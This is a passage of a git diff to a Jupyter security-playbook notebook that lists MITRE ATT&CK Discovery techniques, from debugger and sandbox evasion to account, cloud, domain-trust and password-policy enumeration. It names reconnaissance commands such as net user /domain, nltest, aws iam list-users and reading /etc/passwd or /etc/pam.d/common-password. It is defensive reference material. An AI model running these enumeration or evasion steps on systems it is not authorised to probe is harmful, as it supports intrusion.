this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/discovery.ipynb b/playbook/tactics/discovery.ipynb index 3f102af1..ab5e1e99 100644 --- a/playbook/tactics/discovery.ipynb +++ b/playbook/tactics/discovery.ipynb @@ -2,14 +2,14 @@ "cells": [ { "cell_type": "markdown", - "id": "291fcec3", + "id": "cb1a0ee2", "metadata": {}, - "source": "# Discovery\nThe adversary is trying to figure out your environment.\n\nDiscovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what\u2019s around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective. \n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1622 | Debugger Evasion | Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)\nT1619 | Cloud Storage Object Discovery | Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .\nT1614.001 | System Language Discovery | Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)\n\nOn a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.\nT1615 | Group Policy Discovery | Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path \\\\SYSVOL\\\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.\nT1614 | System Location Discovery | \nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)\nT1613 | Container and Resource Discovery | Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment\u2019s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary\u2019s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. \nT1016.001 | Internet Connection Discovery | Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.\nT1580 | Cloud Infrastructure Discovery | An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket\u2019s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.\nT1069.001 | Local Groups | Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.\nT1497.003 | Time Based Evasion | Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)\nT1497.002 | User Activity Based Checks | Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) \nT1497.001 | System Checks | Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)\nT1518.001 | Security Software Discovery | Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the DescribeSecurityGroups action with various request parameters. (Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud)\nT1069.003 | Cloud Groups | Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.\nT1069.002 | Domain Groups | Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.\nT1087.004 | Cloud Account | Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)\nT1087.003 | Email Account | Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)\nT1087.002 | Domain Account | Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups.\nT1087.001 | Local Account | Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.\nT1518 | Software Discovery | Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).\nT1538 | Cloud Service Dashboard | An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.\nT1526 | Cloud Service Discovery | An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. \n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nStormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)\nT1497 | Virtualization/Sandbox Evasion | Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n\nT1482 | Domain Trust Discovery | Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)\nT1201 | Password Policy Discovery | Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).\nT1217 | Browser Bookmark Discovery | Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.\nT1135 | Network Share Discovery | Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.\nT1124 | System Time Discovery | An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)\nT1120 | Peripheral Device Discovery | Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.\nT1087 | Account Discovery | Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.\nT1083 | File and Directory Discovery | Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram).(Citation: US-CERT-TA18-106A)\nT1082 | System Information Discovery | An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\nT1069 | Permission Groups Discovery | Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.\nT1063 | Security Software Discovery | Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\nT1057 | Process Discovery | Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.\nT1049 | System Network Connections Discovery | Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. show ip sockets, show tcp brief).(Citation: US-CERT-TA18-106A)\nT1046 | Network Service Discovery | Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021) \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)\nT1040 | Network Sniffing | Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.\n\nIn cloud-based environments, adversaries may still be able to use traffic 